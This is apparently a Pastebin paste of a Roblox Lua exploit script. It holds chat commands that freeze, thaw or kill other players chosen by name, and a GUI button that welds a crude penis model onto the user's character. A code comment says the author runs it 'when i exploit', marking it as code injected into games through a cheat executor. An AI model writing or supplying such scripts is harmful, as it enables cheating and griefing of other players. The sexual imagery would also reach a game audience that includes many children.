- elseif Command == "thaw" then
- for _, Arg in pairs(Arguments) do
- for thw, thawing in pairs(Game:GetService("Players"):GetPlayers()) do
- if thawing.Name:lower():find(Arg:lower()) == 1 and thawing.Character then
- for i,th in pairs(thawing.Character:GetChildren()) do
- if th.ClassName == "Part" then
- th.Anchored = false
- th.Reflectance = 0
- end
- end
- thawing.Character.Torso.Anchored = false
- end
- end
- end
- elseif Command == "freeze" then
- for _, Arg in pairs(Arguments) do
- for frrw, freezing in pairs(Game:GetService("Players"):GetPlayers()) do
- if freezing.Name:lower():find(Arg:lower()) == 1 and freezing.Character then
- for i,frrr in pairs(freezing.Character:GetChildren()) do
- if frrr.ClassName == "Part" then
- frrr.Anchored = true
- frrr.Reflectance = 1
- end
- end
- freezing.Character.Torso.Anchored = true
- end
- end
- end
- elseif Command == "kill" then
- for _, Arg in pairs(Arguments) do
- for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
- if Player.Name:lower():find(Arg:lower()) == 1 and Player.Character then
- Player.Character:BreakJoints()
- end
- end
- end
- elseif Command == "test" then
- Prompt(player,Settings.Name.." Version "..Settings.Version.." is working Master "..player.Name)
- --[ End of onChat ]--
- end
- end
- end
- --[ End of onChat ]--
- game:GetService("Players").PlayerAdded:connect(onPlayerAdded)
- --[ SB Mode ]--
- for _, player in pairs(game:GetService("Players"):GetPlayers()) do
- onPlayerAdded(player)
- end
- Game:GetService("RunService").Stepped:connect(function()
- local S, E = pcall(function()
- if LastClean == nil or time() - LastClean >= 10 then do
- collectgarbage("collect")
- LastClean = time()
- end
- end
- if not S then
- ErrorHandler(E)
- end
- end)
- end)
- end)
- local button12 = Instance.new("TextButton", tl2)
- button12.Size = UDim2.new(0,800,0,50)
- button12.Position = UDim2.new(0,0,0,180)
- button12.Text = 'Give yourself Balls!!'
- button12.Font = 'Legacy'
- button12.FontSize = 'Size14'
- button12.BackgroundTransparency = 0.5
- button12.BackgroundColor3 = Color3.new(46, 189, 168)
- button12.BorderColor3 = Color3.new(46, 189, 168)
- button12.TextColor3 = Color3.new(56, 255, 249)
- button12.MouseButton1Click:connect(function()
- plr = game.Players.LocalPlayer.Character -- BY THE WAY the penis is a cylinder, with balls. I can't make the full -- script because of chat limit when i exploit.
- stick = Instance.new("Part", plr.Torso)
- c = Instance.new("CylinderMesh", stick)
- stick.Size = Vector3.new(2,8.2,2)
- stick.BrickColor = BrickColor.new("Pastel brown")
- stick.BottomSurface = "Smooth"
- stick.TopSurface = "Smooth"
- stick.Position = plr.Torso.Position
- wstick = Instance.new("Weld",plr.Torso)
- wstick.Part0 = wstick.Parent
- wstick.Part1 = stick
- wstick.C1 = CFrame.new(Vector3.new(0,3.5,-1.5)) * CFrame.Angles(80,0,0)
- ball1 = Instance.new("Part",plr)
- ball1.BrickColor = stick.BrickColor
- ball1.Shape = "Ball"
- ball1.Size = Vector3.new(3,3,3)
- wb1 = Instance.new("Weld",plr.Torso)
- wb1.Part0 = wstick.Part0
- wb1.Part1 = ball1
- ball1.BottomSurface = "Smooth"
- ball1.TopSurface = "Smooth"
- wb1.C1 = CFrame.new(Vector3.new(-0.5,1.5,0))
- ball2 = ball1:clone()
- ball2.Parent = plr
- wb2 = Instance.new("Weld",plr.Torso)
- wb2.Part0 = wstick.Part0
- wb2.Part1 = ball2
- wb2.C1 = CFrame.new(Vector3.new(0.5,1.5,0))
- end)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement